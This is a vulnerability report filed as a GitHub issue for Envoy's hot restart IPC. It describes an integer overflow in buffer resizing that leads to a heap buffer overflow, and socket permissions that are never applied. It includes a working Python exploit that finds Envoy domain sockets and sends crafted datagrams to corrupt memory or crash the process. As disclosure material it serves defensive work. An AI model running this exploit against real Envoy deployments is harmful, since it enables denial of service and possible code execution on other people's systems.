envoyproxy/envoy

Hot Restart IPC Wire-Length Integer Overflow to Heap Buffer Overflow

Open

#45,872 opened on Jun 29, 2026

View on GitHub
 (0 comments) (0 reactions) (0 assignees)C++ (5,373 forks)batch import
area/hot_restartbughelp wantedno stalebot

Repository metrics

Stars
 (27,997 stars)
PR merge metrics
 (Avg merge 8d) (303 merged PRs in 30d)

Description

Originally reported by @ghaithabdulreda

Summary

An integer overflow in Envoy's hot restart IPC mechanism allows a local attacker to trigger a heap buffer overflow by sending a crafted datagram to the Envoy Unix domain socket. The recv_buf_.resize(wire_length + 8) call at hot_restarting_base.cc:251 uses an attacker-controlled 64-bit length value with no upper bound check. When wire_length = 0xFFFFFFFFFFFFFFF8, adding 8 wraps to 0, causing resize(0). The subsequent recvmsg() writes 4096 bytes into a zero-byte heap buffer. AddressSanitizer confirms: heap-buffer-overflow.

Title: Hot Restart IPC Wire-Length Integer Overflow → Heap Buffer Overflow

Severity: Medium (CVSS 6.1)

Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Tested Version: Envoy upstream commit 2eec278ae3 (v1.39.0-dev)

ASan Confirmed: YES — ==ERROR: AddressSanitizer: heap-buffer-overflow

Details

Root Cause 1: Integer Overflow in Buffer Resize

source/server/hot_restarting_base.cc:248-252:

// Line 248: Read attacker-controlled wire_length from first 8 bytes
expected_proto_length_ = be64toh(
    *reinterpret_cast<uint64_t*>(recv_buf_.data()));

// Line 250: Only checks if LARGE enough — NO UPPER BOUND
if (expected_proto_length_.value() > MaxSendmsgSize - sizeof(uint64_t)) {
    // Line 251: resize with attacker-controlled value + 8
    //   wire_length = 0xFFFFFFFFFFFFFFF8  →  +8 = 0  →  resize(0)
    recv_buf_.resize(
        expected_proto_length_.value() + sizeof(uint64_t));
    cur_msg_recvd_bytes_ = recv_result.return_value_;
}

The overflow: wire_length = 0xFFFFFFFFFFFFFFF8:

  • wire_length + 8 = 0 (unsigned 64-bit wrap)
  • recv_buf_.resize(0) → zero-byte allocation
  • Next recvmsg() with iov_len = 4096 writes past the buffer → heap overflow

Root Cause 2: Socket Permissions Never Applied

source/server/hot_restarting_base.cc:46:

fchmod(domain_socket_, socket_mode);  // Called BEFORE bind() at line 60

fchmod() on an unbound socket returns EINVAL (kernel no-op). The return value is ignored. After bind() at line 60, no subsequent chmod/fchmod is called. The --socket-mode configuration is completely ineffective.

Affected Functions

Function File Line Role
HotRestartingBase::recvMessages() hot_restarting_base.cc 248-252 Reads wire_length, calls resize with overflow
HotRestartingBase::initRecvBufIfNewMessage() hot_restarting_base.cc 189 Sets initial buffer to 4096
HotRestartingBase::bindDomainSocket() hot_restarting_base.cc 46 fchmod before bind — no-op

Recvmsg Loop Flow

initRecvBufIfNewMessage()
  → recv_buf_.resize(4096)                    [line 189]

LOOP:
  iov[0].iov_base = recv_buf_.data() + cur_msg_recvd_bytes_  [line 221]
  iov[0].iov_len = MaxSendmsgSize (4096)                      [line 222]
  recvmsg()                                                    [line 232]
  cur_msg_recvd_bytes_ += recv_result.return_value_            [line 241]
  read expected_proto_length_ from first 8 bytes               [line 248]
  if > 4088: recv_buf_.resize(wire_length + 8)                 [line 251]
    → wire_length = 0xFFFFFFFFFFFFFFF8 → resize(0)
  next recvmsg writes 4096 bytes into 0-byte buffer            [HEAP OVERFLOW]

PoC

File: poc_f13.cpp (C++ with AddressSanitizer)

Compilation:

g++ -std=c++17 -fsanitize=address,undefined -g -O1 poc_f13.cpp -o poc_f13_asan

Execution:

./poc_f13_asan

Actual ASan Output (Debian 12, g++ 12.2.0, ASan):

=================================================================
==3822==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000017 at pc 0x7f3cdc447681 bp 0x7ffca0d7be60 sp 0x7ffca0d7b610
WRITE of size 64 at 0x602000000017 thread T0
    #0 0x7f3cdc447680 in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:799
    #1 0x55ad9ecda76b in simulate_resize /home/ghost/envoy-audit/poc/new_poc/poc_f13.cpp:59
    #2 0x55ad9ecdaa20 in main /home/ghost/envoy-audit/poc/new_poc/poc_f13.cpp:67
    #3 0x7f3cdc245249 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7f3cdc245304 in __libc_start_main_impl ../csu/libc-start.c:360
    #5 0x55ad9ecda250 in _start (/home/ghost/envoy-audit/poc/new_poc/poc_f13_asan+0x6250)

0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
    #0 0x7f3cdc4b94c8 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x55ad9ecdbc17 in std::__new_allocator<char>::allocate(unsigned long, void const*) /usr/include/c++/12/bits/new_allocator.h:137
    #2 0x55ad9ecdbc17 in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/include/c++/12/bits/alloc_traits.h:464
    #3 0x55ad9ecdbc17 in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/include/c++/12/bits/stl_vector.h:378
    #4 0x55ad9ecdbc17 in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/include/c++/12/bits/vector.tcc:650

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:799 in __interceptor_memset
Shadow bytes around the buggy address:
  0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3822==ABORTING

Python PoC (poc_f13_hot_restart.py):

# Scan for Envoy sockets
python3 poc_f13_hot_restart.py --scan

# Trigger heap overflow
python3 poc_f13_hot_restart.py \
    --target @envoy_domain_socket_parent_0 --mode overflow

# Trigger OOM crash
python3 poc_f13_hot_restart.py \
    --target @envoy_domain_socket_parent_0 --mode crash

Python PoC Output:

============================================================
Envoy Hot Restart IPC Exploit
============================================================
[*] HEAP BUFFER OVERFLOW: wire_length = 0xFFFFFFFFFFFFFFF8
    Target: @envoy_domain_socket_parent_0
    wire_length: 0xFFFFFFFFFFFFFFF8 (18446744073709551608)
    wire_length + 8: 0x0000000000000000
    Sending 124 bytes...
[+] Datagram sent successfully

[*] Expected behavior on vulnerable Envoy (ASan build):
    1. Envoy reads wire_length = 0xFFFFFFFFFFFFFFF8
    2. Computes wire_length + 8 = 0 (overflow)
    3. Calls recv_buf_.resize(0) → zero-byte buffer
    4. Next recvmsg() writes 4096 bytes → HEAP BUFFER OVERFLOW
    5. ASan detects: heap-buffer-overflow

Impact

  • Attack Vector: Local attacker with same UID as Envoy process (abstract namespace) or filesystem access
  • Consequences:
    • Heap buffer overflow → potential code execution in Envoy process
    • Denial of service via OOM crash
    • Bypasses Linux Discretionary Access Control (DAC) boundaries due to the invalid fchmod() sequence, allowing unprivileged local processes to achieve memory corruption
  • Prerequisites:
    • Hot restart enabled (production default via --restart-epoch)
    • Attacker shares UID with Envoy (abstract namespace) or has filesystem access
    • Typical in container environments sharing host UID namespace
  • Mitigation: Add upper bound check to wire_length + 8 arithmetic; fix fchmod ordering (call after bind)

Full PoC Source Code

poc_f13.cpp (C++ standalone ASan/UBSan PoC)

#include <cstdint>
#include <cstdio>
#include <cstring>
#include <new>
#include <vector>

// Simulates the vulnerable pattern from hot_restarting_base.cc.
// The real code reads 8 bytes from a Unix domain socket, interprets
// them as a big-endian uint64_t length, then calls:
//   recv_buf_.resize(expected_proto_length_.value() + sizeof(uint64_t));
//
// If an attacker sends a crafted length, this can either:
//   (a) wrap around to a small allocation (overflow), or
//   (b) request an enormous allocation (std::bad_alloc).

static void simulate_resize(uint64_t wire_length) {
  uint64_t length = wire_length;
  {
    uint8_t *b = reinterpret_cast<uint8_t *>(&length);
    uint64_t swapped = 0;
    for (int i = 0; i < 8; ++i)
      swapped |= static_cast<uint64_t>(b[i]) << ((7 - i) * 8);
    length = swapped;
  }

  size_t alloc_size = length + sizeof(uint64_t);

  printf("Wire length : %#018lx (%lu)\n", wire_length, wire_length);
  printf("After ntoh  : %#018lx (%lu)\n", length, length);
  printf("Add sizeof  : %#018lx (%zu)\n", alloc_size, alloc_size);

  if (alloc_size < length) {
    printf(">>> WRAP DETECTED: request wraps to %zu bytes (heap overflow risk)\n",
           alloc_size);
  }

  std::vector<char> buf;
  try {
    buf.resize(alloc_size);
    printf(">>> OK: allocated %zu bytes successfully\n", alloc_size);
  } catch (const std::bad_alloc &) {
    printf(">>> bad_alloc caught (expected for huge allocation)\n");
  }

  if (alloc_size < length) {
    if (!buf.empty()) {
      printf(">>> Triggering OOB write on the wrapped buffer...\n");
      memset(buf.data() + alloc_size, 0x41, 64);
    }
  }
  putchar('\n');
}

int main() {
  // Case 1: UINT64_MAX on the wire -> after +8 wraps to 7.
  simulate_resize(UINT64_MAX);

  // Case 2: A large but non-wrapping value -> bad_alloc.
  simulate_resize(1ULL << 60);

  // Case 3: A normal small value -> succeeds.
  simulate_resize(128);

  return 0;
}

poc_f13_hot_restart.py (Python network PoC)

#!/usr/bin/env python3
"""
Envoy Hot Restart IPC Wire-Length Integer Overflow -> Heap Buffer Overflow PoC

Vulnerability: Integer overflow in hot_restarting_base.cc recv_buf_.resize(wire_length + 8)
- wire_length = 0xFFFFFFFFFFFFFFF8 -> +8 = 0 -> resize(0) -> heap overflow on next recvmsg()
- wire_length = 0xFFFFFFFFFFFFFFF7 -> +8 = UINT64_MAX -> resize(UINT64_MAX) -> OOM crash
- fchmod() before bind() at line 46 is kernel no-op (EINVAL) - socket permissions never applied

Usage:
  # Scan for Envoy hot restart sockets
  python3 poc_f13_hot_restart.py --scan

  # Trigger heap overflow (wire_length = 0xFFFFFFFFFFFFFFF8 -> resize(0))
  python3 poc_f13_hot_restart.py --target @envoy_domain_socket_parent_0 --mode overflow

  # Trigger OOM crash
  python3 poc_f13_hot_restart.py --target @envoy_domain_socket_parent_0 --mode crash
"""

import argparse
import os
import socket
import struct
import sys
import time
from typing import List, Tuple, Optional

MAX_SENDMSG_SIZE = 4096
WIRE_LENGTH_OFFSET = 8
MAX_PROTO_SIZE = MAX_SENDMSG_SIZE - WIRE_LENGTH_OFFSET


class UnixSocketClient:
    def __init__(self, socket_path: str):
        self.socket_path = socket_path
        self.is_abstract = socket_path.startswith('@')
        self.sock: Optional[socket.socket] = None

    def connect(self) -> bool:
        try:
            self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
            self.sock.settimeout(5.0)
            if self.is_abstract:
                addr = b'\x00' + self.socket_path[1:].encode('utf-8')
            else:
                addr = self.socket_path
            self.sock.connect(addr)
            return True
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            return False

    def send_datagram(self, data: bytes) -> bool:
        try:
            if self.sock:
                self.sock.send(data)
                return True
        except Exception:
            pass
        return False

    def close(self):
        if self.sock:
            self.sock.close()
            self.sock = None


def build_wire_message(wire_length: int, proto_data: bytes = b'') -> bytes:
    if wire_length < 0 or wire_length > 0xFFFFFFFFFFFFFFFF:
        raise ValueError("wire_length must be uint64")
    proto_length = len(proto_data)
    wire_len_bytes = struct.pack('>Q', wire_length)
    proto_len_bytes = struct.pack('>Q', proto_length)
    return wire_len_bytes + proto_len_bytes + proto_data


def find_envoy_sockets() -> List[str]:
    found = []
    try:
        with open('/proc/net/unix', 'r') as f:
            for line in f:
                parts = line.strip().split()
                if len(parts) >= 8:
                    path = parts[7]
                    if 'envoy_domain_socket' in path and path.startswith('@'):
                        found.append(path)
    except Exception:
        pass
    common_paths = [
        '/tmp/envoy_domain_socket_parent_0',
        '/tmp/envoy_domain_socket_child_0',
        '/var/run/envoy/envoy_domain_socket_parent_0',
        '/var/run/envoy/envoy_domain_socket_child_0',
        '/run/envoy/envoy_domain_socket_parent_0',
    ]
    for path in common_paths:
        if os.path.exists(path) or os.path.exists(path.replace('parent', 'child')):
            found.append(path)
            found.append(path.replace('parent', 'child'))
    try:
        for entry in os.listdir('/tmp'):
            if 'envoy_domain_socket' in entry:
                full = f'/tmp/{entry}'
                if full not in found:
                    found.append(full)
    except Exception:
        pass
    return list(set(found))


def test_socket_permissions(socket_path: str) -> dict:
    result = {
        'path': socket_path, 'exists': False, 'writable': False,
        'abstract': socket_path.startswith('@'),
        'permissions': None, 'uid': os.getuid(),
    }
    if socket_path.startswith('@'):
        try:
            test_sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
            test_addr = b'\x00' + socket_path[1:].encode('utf-8')
            test_sock.bind(test_addr)
            test_sock.close()
            result['writable'] = True
            result['note'] = 'Abstract namespace - UID-based access'
        except Exception as e:
            result['note'] = f'Cannot bind: {e}'
    else:
        result['exists'] = os.path.exists(socket_path)
        if result['exists']:
            try:
                stat = os.stat(socket_path)
                result['permissions'] = oct(stat.st_mode & 0o777)
                result['writable'] = os.access(socket_path, os.W_OK)
                result['note'] = f'Filesystem socket, mode={result["permissions"]}'
            except Exception as e:
                result['note'] = f'Stat failed: {e}'
    return result


def send_exploit(target: str, wire_length: int, description: str) -> bool:
    print(f"\n[*] {description}")
    print(f"    Target: {target}")
    print(f"    wire_length: 0x{wire_length:016X} ({wire_length})")
    print(f"    wire_length + 8: 0x{(wire_length + 8) & 0xFFFFFFFFFFFFFFFF:016X}")
    client = UnixSocketClient(target)
    if not client.connect():
        print(f"[-] Failed to connect to {target}")
        return False
    proto_data = b'A' * 100
    message = build_wire_message(wire_length, proto_data)
    print(f"    Sending {len(message)} bytes...")
    if client.send_datagram(message):
        print(f"[+] Datagram sent successfully")
        client.close()
        return True
    else:
        print(f"[-] Failed to send datagram")
        client.close()
        return False


def mode_scan():
    print("=" * 60)
    print("Envoy Hot Restart Socket Scanner")
    print("=" * 60)
    sockets = find_envoy_sockets()
    if not sockets:
        print("[-] No Envoy hot restart sockets found")
        return
    print(f"[+] Found {len(sockets)} potential socket(s):\n")
    for sock_path in sockets:
        info = test_socket_permissions(sock_path)
        print(f"  Socket: {sock_path}")
        print(f"    Type: {'Abstract namespace' if info['abstract'] else 'Filesystem'}")
        print(f"    Exists: {info['exists']}")
        print(f"    Writable by UID {info['uid']}: {info['writable']}")
        print(f"    Permissions: {info['permissions'] or 'N/A (abstract)'}")
        print(f"    Note: {info['note']}\n")


def mode_overflow(target: str):
    wire_length = 0xFFFFFFFFFFFFFFF8
    send_exploit(target, wire_length,
        "HEAP BUFFER OVERFLOW: wire_length = 0xFFFFFFFFFFFFFFF8 -> resize(0)")


def mode_crash(target: str):
    wire_length = 0xFFFFFFFFFFFFFFF7
    send_exploit(target, wire_length,
        "OOM CRASH: wire_length = 0xFFFFFFFFFFFFFFF7 -> resize(UINT64_MAX)")


def main():
    parser = argparse.ArgumentParser(
        description="Envoy Hot Restart IPC Wire-Length Integer Overflow PoC")
    parser.add_argument('--scan', action='store_true', help='Scan for Envoy hot restart sockets')
    parser.add_argument('--target', help='Target socket path (e.g., @envoy_domain_socket_parent_0)')
    parser.add_argument('--mode', choices=['overflow', 'crash'], help='Exploit mode')
    args = parser.parse_args()

    if args.scan:
        return mode_scan()
    if not args.target or not args.mode:
        parser.print_help()
        sys.exit(1)

    print("=" * 60)
    print("Envoy Hot Restart IPC Exploit")
    print("=" * 60)

    if args.mode == 'overflow':
        mode_overflow(args.target)
    elif args.mode == 'crash':
        mode_crash(args.target)

    print(f"\n[+] Exploit datagram sent")
    print(f"[*] Expected behavior on vulnerable Envoy (ASan build):")
    if args.mode == 'overflow':
        print("    1. Envoy reads wire_length = 0xFFFFFFFFFFFFFFF8")
        print("    2. Computes wire_length + 8 = 0 (overflow)")
        print("    3. Calls recv_buf_.resize(0) -> zero-byte buffer")
        print("    4. Next recvmsg() writes 4096 bytes -> HEAP BUFFER OVERFLOW")
        print("    5. ASan detects: heap-buffer-overflow")
    else:
        print("    1. Envoy reads wire_length = 0xFFFFFFFFFFFFFFF7")
        print("    2. Computes wire_length + 8 = UINT64_MAX")
        print("    3. Calls recv_buf_.resize(UINT64_MAX) -> OOM / crash")

if __name__ == '__main__':
    main()

Contributor guide